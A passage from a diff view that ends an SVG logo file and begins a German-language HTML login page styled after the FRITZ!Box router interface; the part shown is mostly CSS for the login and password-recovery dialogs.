<path fill="#FFE600" d="M76.582,47.172c2.343-2.484,4.295-4.586,5.34-5.724l-0.002,0.093c-0.177,0.193-0.377,0.424-0.593,0.646 c-0.142,0.16-0.311,0.338-0.481,0.536C79.816,43.828,78.439,45.284,76.582,47.172 M43.43,76.443 c-0.047-0.034-0.09-0.068-0.141-0.106c-0.101-2.198-0.254-5.267-0.254-5.304c0.225-0.202,12.529-10.147,12.529-10.147 c7.989-6.765,22.238-20.468,23.845-22.021c0,0,0.096-0.17,0.096-0.208v-0.003L79.4,38.461l-3.221-3.214L56.355,15.372 l-1.416-1.473c-1.913-2.152-2.096-2.352-2.154-2.396l0.053,0.011c0,0-0.958-1.132-1.373-1.653c0.584,0.455,4.423,3.368,4.44,3.372 l3.312,2.707c0.719,0.597,1.477,1.19,3.459,3.121c5.224,5.059,14.831,14.209,19.404,18.558l-0.013,0.152 c-4.521-4.308-14.199-13.513-19.479-18.618c-1.993-1.922-2.722-2.538-3.448-3.124l-3.33-2.705c0,0-2.562-1.947-3.591-2.733 c0.312,0.375,0.704,0.857,0.704,0.857l-0.051-0.038c0.06,0.04,0.177,0.174,2.037,2.276l0.133,0.137l1.408,1.464l23.025,23.098 l0.132,0.208l0,0c0,0.063-0.08,0.308-0.08,0.308c-0.128,0.146-15.484,14.95-23.88,22.081c0,0-12.265,9.916-12.497,10.104 C43.152,71.111,43.325,74.344,43.43,76.443"/>
<path fill="#FFE600" d="M72.715,51.025c3.973-4.137,7.612-8.084,9.225-9.785l-0.018,0.208c-1.045,1.138-2.997,3.239-5.34,5.724 C75.473,48.292,74.197,49.58,72.715,51.025 M43.567,76.552c-0.045-0.035-0.085-0.073-0.137-0.108 c-0.105-2.1-0.278-5.332-0.278-5.36c0.232-0.188,12.497-10.104,12.497-10.104c8.396-7.131,23.752-21.934,23.88-22.081 c0,0,0.08-0.244,0.08-0.308l0,0l-0.132-0.208L56.451,15.286l-1.408-1.464l-0.133-0.137c-1.86-2.103-1.978-2.236-2.037-2.276 l0.051,0.038c0,0-0.393-0.482-0.704-0.857c1.028,0.786,3.591,2.733,3.591,2.733l3.33,2.705c0.727,0.585,1.455,1.201,3.448,3.124 c5.279,5.105,14.957,14.311,19.479,18.618l-0.006,0.166c-4.454-4.24-14.147-13.472-19.555-18.706 c-1.986-1.916-2.725-2.516-3.434-3.1l-3.341-2.719c0,0-2.201-1.66-2.754-2.091l0.034,0.051v0.012l2.107,2.367l1.406,1.451 l23.045,23.099l0.142,0.235v0.019c0,0.059-0.074,0.384-0.074,0.384c-0.067,0.104-15.251,14.779-23.906,22.138 c0,0-12.229,9.866-12.458,10.068C43.275,71.181,43.463,74.559,43.567,76.552"/>
<path fill="#FFE600" d="M69.678,53.99c5.09-5.203,10.341-10.89,12.273-12.938l-0.012,0.188c-1.612,1.701-5.252,5.648-9.225,9.785 C71.788,51.94,70.765,52.924,69.678,53.99 M50.674,71.49c2.562-2.274,5.369-4.783,7.545-6.733 C55.081,67.635,52.61,69.832,50.674,71.49 M43.704,76.656c-0.033-0.036-0.084-0.074-0.137-0.104 c-0.104-1.993-0.292-5.371-0.292-5.409c0.228-0.202,12.458-10.068,12.458-10.068c8.655-7.358,23.839-22.034,23.906-22.138 c0,0,0.074-0.325,0.074-0.384v-0.019l-0.142-0.235L56.526,15.201L55.12,13.75l-2.107-2.367v-0.012l-0.034-0.051 c0.553,0.431,2.754,2.091,2.754,2.091l3.341,2.719c0.709,0.584,1.447,1.185,3.434,3.1c5.407,5.234,15.101,14.465,19.555,18.706 l-0.006,0.161c-4.397-4.19-14.125-13.455-19.636-18.773c-1.972-1.917-2.72-2.521-3.433-3.101l0.059,0.008 c-0.068-0.008-0.393-0.281-3.048-2.446l-0.332-0.273c0-0.002-1.486-1.134-1.822-1.378c0.482,0.547,1.38,1.527,1.38,1.527 l1.398,1.465l19.814,19.868l3.207,3.221l0.173,0.266v0.008c0,0.094-0.066,0.479-0.066,0.479 c-0.031,0.072-15.093,14.685-23.942,22.187c0,0-12.188,9.851-12.415,10.04C43.393,71.235,43.601,74.825,43.704,76.656"/>
<path fill="#FFE200" d="M65.658,57.82c6.101-5.936,13.96-14.474,16.293-16.957v0.188c-1.933,2.049-7.184,7.735-12.273,12.938 C68.445,55.164,67.105,56.443,65.658,57.82 M47.843,73.863c5.338-4.76,14.186-12.652,14.186-12.652 c0.22-0.193,0.457-0.402,0.701-0.635c-1.646,1.541-3.135,2.919-4.512,4.181c-2.176,1.95-4.982,4.459-7.545,6.733 C49.564,72.455,48.628,73.225,47.843,73.863 M43.746,76.687c0,0-0.018-0.019-0.042-0.03c-0.103-1.831-0.311-5.421-0.311-5.462 c0.227-0.19,12.415-10.041,12.415-10.041c8.85-7.502,23.911-22.115,23.942-22.187c0,0,0.066-0.384,0.066-0.479V38.48l-0.173-0.266 l-3.207-3.221L56.622,15.125l-1.398-1.465c0,0-0.897-0.98-1.38-1.527c0.336,0.244,1.822,1.375,1.822,1.378l0.332,0.273 c2.655,2.165,2.979,2.438,3.048,2.446l-0.059-0.008c0.713,0.581,1.461,1.185,3.433,3.101c5.511,5.318,15.238,14.583,19.636,18.773 v0.15c-4.37-4.136-14.193-13.505-19.712-18.842c-1.98-1.902-2.721-2.517-3.434-3.098c-0.173-0.145-3.311-2.7-3.311-2.7 s-0.464-0.343-0.841-0.642c0.271,0.306,0.563,0.619,0.563,0.619l-0.016-0.002l1.389,1.452l23.045,23.11l0.18,0.273l0.005,0.038 l-0.043,0.515c-0.03,0.062-14.911,14.579-23.994,22.285c0,0-12.149,9.796-12.372,9.993c0,0.041,0.225,3.82,0.321,5.438 c-0.001,0-0.001,0-0.001,0L43.746,76.687"/>
<path fill="#FFDE00" d="M46.332,75.041c4.87-4.338,15.606-13.919,15.606-13.919c6.194-5.45,17.338-17.605,20.021-20.43 l-0.008,0.171c-2.333,2.483-10.192,11.021-16.293,16.957c-0.519,0.485-1.037,0.983-1.581,1.477 c-0.454,0.445-0.901,0.867-1.347,1.279c-0.244,0.232-0.481,0.441-0.701,0.635c0,0-8.848,7.893-14.186,12.652 C47.261,74.325,46.764,74.722,46.332,75.041 M43.836,76.686c-0.096-1.618-0.321-5.397-0.321-5.438 c0.223-0.197,12.372-9.993,12.372-9.993c9.083-7.706,23.964-22.223,23.994-22.285l0.043-0.515l-0.005-0.038l-0.18-0.273 l-23.045-23.11l-1.389-1.452l0.016,0.002c0,0-0.293-0.313-0.563-0.619c0.377,0.298,0.841,0.642,0.841,0.642s3.138,2.555,3.311,2.7 c0.713,0.581,1.453,1.196,3.434,3.098c5.519,5.337,15.342,14.706,19.712,18.842l-0.002,0.17 c-4.337-4.115-14.229-13.535-19.805-18.929c-1.964-1.91-2.692-2.497-3.411-3.083c0,0-2.583-2.102-3.03-2.479 c0.406,0.433,0.993,1.034,0.993,1.034l19.811,19.868l3.211,3.211l0.2,0.312l0.026,0.104l-0.05,0.528 c-0.074,0.193-15.378,15.02-24.026,22.355c0,0-12.111,9.767-12.339,9.968c0,0.045,0.251,3.905,0.331,5.324 C43.894,76.664,43.86,76.674,43.836,76.686"/>
<path fill="#FFDA00" d="M45.304,75.798c3.987-3.55,16.562-14.767,16.562-14.767c6.221-5.464,17.59-17.893,20.096-20.51 l-0.002,0.171c-2.683,2.824-13.826,14.979-20.021,20.43c0,0-10.736,9.581-15.606,13.919 C45.936,75.347,45.602,75.594,45.304,75.798 M43.964,76.63c-0.08-1.419-0.331-5.279-0.331-5.324 c0.228-0.201,12.339-9.968,12.339-9.968c8.648-7.335,23.952-22.162,24.026-22.355l0.05-0.528l-0.026-0.104l-0.2-0.312 l-3.211-3.211L56.801,14.96c0,0-0.587-0.601-0.993-1.034c0.447,0.377,3.03,2.479,3.03,2.479c0.719,0.585,1.447,1.173,3.411,3.083 c5.576,5.394,15.468,14.814,19.805,18.929l-0.014,0.149c-4.257-4.041-14.203-13.513-19.867-18.991 c-1.964-1.898-2.697-2.499-3.408-3.067c0,0-0.768-0.632-1.406-1.166c1.688,1.717,8.163,8.195,19.334,19.391l3.227,3.238 l0.208,0.309l0.025,0.104l0.01,0.071l-0.035,0.548c-0.074,0.174-15.382,15.054-24.082,22.431c0,0-12.064,9.736-12.289,9.923 c0,0.046,0.273,4.055,0.344,5.214C44.049,76.591,44,76.62,43.964,76.63"/>
<path fill="#FFD800" d="M44.604,76.277c2.507-2.244,17.178-15.332,17.178-15.332c6.279-5.51,17.894-18.22,20.195-20.621 l-0.016,0.197c-2.506,2.617-13.875,15.046-20.096,20.51c0,0-12.574,11.217-16.562,14.767 C45.022,75.997,44.789,76.166,44.604,76.277 M44.101,76.57c-0.071-1.159-0.344-5.168-0.344-5.214 c0.225-0.187,12.289-9.923,12.289-9.923c8.7-7.377,24.008-22.257,24.082-22.431l0.035-0.548l-0.01-0.071l-0.025-0.104 l-0.208-0.309l-3.227-3.238C65.521,23.537,59.046,17.059,57.358,15.342c0.639,0.534,1.406,1.166,1.406,1.166 c0.711,0.568,1.444,1.169,3.408,3.067c5.664,5.479,15.61,14.951,19.867,18.991l-0.016,0.163 C77.81,34.7,67.756,25.126,62.072,19.661c-1.579-1.536-2.355-2.221-2.958-2.725c1.548,1.562,20.879,20.938,20.879,20.938 l0.006,0.016l0.226,0.329l0.036,0.133c0.01,0.034,0.029,0.081,0.029,0.081l-0.055,0.571c-0.058,0.189-15.37,15.107-24.124,22.529 c0,0-12.006,9.684-12.237,9.886c0,0.043,0.313,4.326,0.356,5.079C44.186,76.524,44.133,76.555,44.101,76.57"/>
<path fill="#FED600" d="M44.23,76.496c-0.043-0.753-0.356-5.036-0.356-5.079c0.231-0.202,12.237-9.886,12.237-9.886 c8.754-7.422,24.066-22.339,24.124-22.529l0.055-0.571c0,0-0.02-0.046-0.029-0.081l-0.036-0.133l-0.226-0.329l-0.006-0.016 c0,0-19.331-19.375-20.879-20.938c0.603,0.504,1.379,1.189,2.958,2.725C67.756,25.126,77.81,34.7,82.024,38.729v0.168 c-2.948-2.819-11.866-11.297-17.98-17.179c4.782,4.8,16.046,16.08,16.046,16.08l0.01,0.027l0.228,0.341l0.047,0.146l0.033,0.104 l-0.043,0.586c-0.061,0.207-15.39,15.16-24.162,22.61c0,0-11.977,9.671-12.206,9.856c0,0.052,0.361,4.629,0.361,4.877 c0.196-0.181,17.335-15.498,17.335-15.498c6.373-5.581,18.227-18.555,20.289-20.703l-0.006,0.18 c-2.302,2.401-13.916,15.111-20.195,20.621c0,0-14.671,13.088-17.178,15.332C44.449,76.375,44.327,76.45,44.23,76.496"/>
<path fill="#FDD402" d="M44.358,76.346c0-0.248-0.361-4.825-0.361-4.877c0.229-0.186,12.206-9.856,12.206-9.856 c8.772-7.45,24.102-22.403,24.162-22.61l0.043-0.586l-0.033-0.104l-0.047-0.146L80.1,37.825l-0.01-0.027 c0,0-11.264-11.28-16.046-16.08c6.114,5.881,15.032,14.359,17.98,17.179l-0.008,0.149c-0.802-0.766-7.466-7.124-10.914-10.409 c3.649,3.638,9.062,9.083,9.062,9.083l0.037,0.046l0.225,0.338l0.078,0.162l0.016,0.151l-0.043,0.605 C80.43,39.21,65.103,54.228,56.29,61.707c0,0-11.941,9.616-12.173,9.813c0,0.058,0.357,4.307,0.357,4.55 c0.202-0.178,17.151-15.303,17.151-15.303c6.451-5.682,18.6-18.997,20.357-20.802v0.179c-2.062,2.148-13.916,15.122-20.289,20.703 C61.693,60.848,44.554,76.165,44.358,76.346"/>
<path fill="#FDD303" d="M44.474,76.07c0-0.243-0.357-4.492-0.357-4.55c0.232-0.197,12.173-9.813,12.173-9.813 c8.812-7.479,24.14-22.497,24.187-22.685l0.043-0.605l-0.016-0.151l-0.078-0.162l-0.225-0.338l-0.037-0.046 c0,0-5.412-5.444-9.062-9.083c3.448,3.285,10.112,9.643,10.914,10.409v0.165c-0.134-0.137-2.78-2.654-3.854-3.682 c0.979,0.995,2.098,2.1,2.098,2.1l0.045,0.066l-0.008-0.01c0.025,0.035,0.084,0.113,0.229,0.354l0.081,0.179l0.029,0.185 l-0.029,0.636c-0.063,0.172-15.403,15.263-24.253,22.772c0,0-11.886,9.576-12.118,9.776c0,0.04,0.363,3.976,0.363,4.211 c0.197-0.173,16.941-15.129,16.941-15.129c6.554-5.752,19.066-19.495,20.444-20.874l-0.004,0.171 c-1.758,1.805-13.906,15.12-20.357,20.802C61.625,60.768,44.676,75.893,44.474,76.07"/>
<path fill="#FCD006" d="M44.601,75.798c0-0.235-0.363-4.171-0.363-4.211c0.232-0.2,12.118-9.776,12.118-9.776 c8.85-7.51,24.189-22.601,24.253-22.772l0.029-0.636l-0.029-0.185l-0.081-0.179c-0.146-0.241-0.204-0.32-0.229-0.354l0.008,0.01 l-0.045-0.066c0,0-1.118-1.105-2.098-2.1c1.073,1.027,3.72,3.545,3.854,3.682l-0.008,0.183c-0.022-0.033-0.04-0.063-0.071-0.09 c0,0-0.884-0.845-1.255-1.192l0.03,0.066l0.046,0.208l-0.045,0.656c-0.037,0.178-15.405,15.322-24.28,22.841 c0,0-11.85,9.562-12.073,9.749c0,0.06,0.357,3.678,0.357,3.903c0.195-0.17,16.739-14.946,16.739-14.946 c6.535-5.736,19.097-19.542,20.458-20.895c0.037-0.036,0.068-0.066,0.078-0.105l-0.006,0.208 c-1.378,1.379-13.891,15.122-20.444,20.874C61.542,60.669,44.798,75.625,44.601,75.798"/>
<path fill="#FCCF07" d="M80.885,38.455c-0.016,0.137-0.039,0.585-0.039,0.585c-0.047,0.195-15.431,15.371-24.319,22.941 c-0.13,0.101-11.641,9.369-12.048,9.709c0,0.046,0.086,0.831,0.086,0.831s0.257,2.514,0.271,2.758 c0.186-0.174,16.545-14.781,16.545-14.781c5.071-4.464,13.859-13.85,18.086-18.377l2.357-2.495h-0.007 c0-0.006,0.065-0.105,0.077-0.141l-0.047-0.101C81.848,39.384,81.143,38.704,80.885,38.455 M44.717,75.533 c0-0.226-0.357-3.844-0.357-3.903c0.224-0.188,12.073-9.749,12.073-9.749c8.875-7.519,24.243-22.663,24.28-22.841l0.045-0.656 l-0.046-0.208l-0.03-0.066c0.371,0.348,1.255,1.192,1.255,1.192c0.031,0.027,0.049,0.058,0.071,0.09l-0.017,0.194 c-0.01,0.039-0.041,0.069-0.078,0.105c-1.361,1.353-13.923,15.158-20.458,20.895C61.456,60.587,44.912,75.363,44.717,75.533"/>
<path fill="#FBCD0B" d="M80.987,38.723c-0.006,0.132-0.029,0.317-0.029,0.317l-0.002,0.033 c-0.044,0.169-15.44,15.423-24.363,23.001c0,0-11.744,9.472-11.989,9.668c0,0.052,0.082,0.827,0.082,0.827 s0.241,1.925,0.261,2.443c0.187-0.162,16.354-14.613,16.354-14.613c5.076-4.444,13.846-13.836,18.062-18.347v0.001 c0,0,0.08-0.085,2.38-2.529l0.014-0.004l0.023-0.036l-0.037-0.067l0.037,0.032C81.698,39.388,81.498,39.21,80.987,38.723 M44.835,75.279c-0.014-0.244-0.271-2.758-0.271-2.758s-0.086-0.785-0.086-0.831c0.407-0.34,11.918-9.608,12.048-9.709 c8.889-7.57,24.272-22.746,24.319-22.941c0,0,0.023-0.449,0.039-0.585c0.258,0.25,0.963,0.93,0.963,0.93l0.047,0.101 c-0.012,0.036-0.077,0.135-0.077,0.141h0.007l-2.357,2.495c-4.227,4.527-13.015,13.913-18.086,18.377 C61.381,60.498,45.021,75.105,44.835,75.279"/>
<path fill="#FACB0C" d="M56.668,62.15c-0.012,0.026-0.073,0.066-0.174,0.17c0,0-11.724,9.446-11.776,9.474 c0,0.067,0.33,2.727,0.335,2.966c0.184-0.167,16.159-14.432,16.159-14.432c5.069-4.466,13.846-13.846,18.061-18.359l0.336-0.35 c0.021-0.01,1.824-1.927,2.001-2.134c-0.049-0.067-0.355-0.344-0.519-0.512v0.078l-0.008,0.056 c-0.061,0.175-15.476,15.471-24.415,23.048V62.15 M44.946,75.013c-0.021-0.519-0.261-2.443-0.261-2.443s-0.082-0.775-0.082-0.827 c0.245-0.196,11.989-9.668,11.989-9.668c8.923-7.578,24.319-22.832,24.363-23.001V39.04c0,0,0.025-0.186,0.031-0.317 c0.511,0.487,0.711,0.665,0.793,0.728l-0.037-0.032l0.037,0.067l-0.023,0.036l-0.014,0.004c-2.3,2.444-2.38,2.529-2.38,2.529 v-0.001c-4.217,4.511-12.986,13.902-18.062,18.347C61.301,60.399,45.133,74.851,44.946,75.013"/>
<path fill="#FAC90E" d="M45.053,74.76c-0.005-0.239-0.335-2.898-0.335-2.966c0.052-0.027,11.776-9.474,11.776-9.474 c0.101-0.104,0.162-0.144,0.174-0.17v0.004c8.939-7.577,24.354-22.873,24.415-23.048l0.008-0.056v-0.078 c0.163,0.168,0.47,0.445,0.519,0.512c-0.177,0.208-1.979,2.125-2.001,2.134l-0.336,0.35c-4.215,4.514-12.991,13.894-18.061,18.359 C61.212,60.328,45.237,74.593,45.053,74.76"/>
</g>
</g>
<path fill="#F8EC17" d="M8.798,33.491l-3.67-3.683l3.776-3.757l3.669,3.676L8.798,33.491 M76.025,26.509v4.125h1.073v-4.125H76.025z "/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M48.848,25.535v24.039h-7.085l-0.037-19.662l3.063-0.762l-0.896-3.581 L48.848,25.535 M20.177,30.738v24.814h6.996V35.352h1.51c0.7,0,2.653,0.963,2.653,3.032c0,2.202-1.962,4.007-3.577,5.276l7.3,12.115 c2.016-1.665,5.737-5.166,5.737-5.166c-2.966-3.396-6.223-6.923-6.223-6.923c3.188-2.602,3.98-4.543,3.81-6.819 c-0.364-4.821-4.855-5.719-8.287-6.129C27.405,30.427,23.112,30.623,20.177,30.738 M57.123,55.473h7.222V36.457h6.824v-6.103H50.293 v6.103h6.83V55.473 M17.473,24.466c0,0-7.288,0.003-14.62,0.324v26.822h7.3l0.007-9.737l6.708,0.004v-5.782l-6.805,0.025l0.01-5.604 l7.383,0.011L17.473,24.466 M93.388,39.795l4.725,0.171L100,27.753l-5.856-0.462L93.388,39.795 M91.26,42.487l0.934,1.162 l3.001,3.692l3.702-2.998l-3.926-4.859L91.26,42.487"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M47.228,48.19h-8.331l-0.033-20.77l2.928-0.738l-0.931-3.769l6.366-0.006V48.19 M54.254,35.062v19.031h8.477V35.062l6.076,0.224l0.748,0.001v-7.564H47.436v7.564l0.685-0.072 C48.054,35.215,54.254,35.062,54.254,35.062 M69.102,21.676v7.506l0.302-0.031c3.037-0.137,5.588-0.149,7.691-0.169l-9.858,19.013 h1.46c0.305,0,19.64,0,19.64,0l-0.006-7.51l-0.77,0.039c-3.527,0.234-6.181,0.207-8.209,0.169l9.949-18.531l-1.072-0.07 c-9.469-0.527-16.468-0.411-18.85-0.416H69.102 M15.654,21.884c0,0-7.72-0.022-15.073,0.304L0,22.2v28.032h8.521l0.012-9.757 l5.994,0.005h0.704l0.004-7.125l-6.803,0.033l0.009-4.165l6.718,0.016l0.681-0.015l0.014-6.825"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M25.527,40.9c1.521-1.244,2.971-2.791,2.971-4.515 c0-1.656-1.605-2.446-2.057-2.446h-0.914V40.9 M27.921,28.152c3.359,0.382,8.412,1.318,8.815,6.657 c0.182,2.406-0.664,4.446-3.565,6.952l6.227,7.301l-0.378,0.378c-1.697,1.756-3.636,3.408-5.65,5.065l-0.533,0.448l-7.31-12.126 v11.317h-8.19V28.167l0.57-0.014C20.874,28.014,25.208,27.841,27.921,28.152z M91.434,25.475l7.15,0.578l-2.061,13.432l-5.931-0.228 L91.434,25.475 M97.498,43.413l-4.67,3.779l-2.862-3.534l0.004,5.715c0,0-18.729,0-19.036,0h-0.432l9.845-19.017 c-2.282,0.035-4.938,0-11.078,0.311V24.45c4.969-0.139,11.832-0.26,21.295,0.258l-9.987,18.574c1.856,0.06,4.388,0.114,7.719-0.039 v-0.727h0.75l4.663-3.788L97.498,43.413"/>
<path fill-rule="evenodd" clip-rule="evenodd" fill="#E2001A" d="M46.606,23.536v24.031h-7.085l-0.037-19.654l3.068-0.769 l-0.919-3.606L46.606,23.536 M17.934,28.741v24.798h6.997V33.35h1.51c0.7,0,2.654,0.967,2.654,3.036c0,2.191-1.961,3.997-3.577,5.27 l7.472,12.401c2.017-1.654,3.93-3.306,5.603-5.025l-6.26-7.342c3.188-2.614,3.981-4.548,3.812-6.823 c-0.364-4.818-4.859-5.72-8.289-6.126C25.164,28.429,20.872,28.613,17.934,28.741 M54.881,53.467h7.225V34.456l6.825,0.144v-6.251 H48.054V34.6l6.827-0.144V53.467 M69.616,28.533c3.553-0.175,6.208-0.15,8.488-0.175l-9.842,19.013h0.432c0.303,0,19.034,0,19.034,0 l-0.007-6.234c-4.164,0.277-7.243,0.207-9.386,0.143l9.988-18.569c-9.467-0.526-16.326-0.409-18.708-0.413V28.533 M15.234,26.257 v-3.756L0.611,22.786v26.832h7.304l0.006-9.756h6.703v-5.776l-6.802,0.029l0.012-5.607l7.408-0.008L15.234,26.257 M91.26,38.658 l4.737,0.175l1.88-12.223l-5.858-0.455L91.26,38.658 M89.897,42.619l3.007,3.708l3.698-3.003l-2.999-3.698L89.897,42.619"/>
</svg>

After

Width:  |  Height:  |  Size: 41 KiB

View File

@ -0,0 +1,669 @@
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
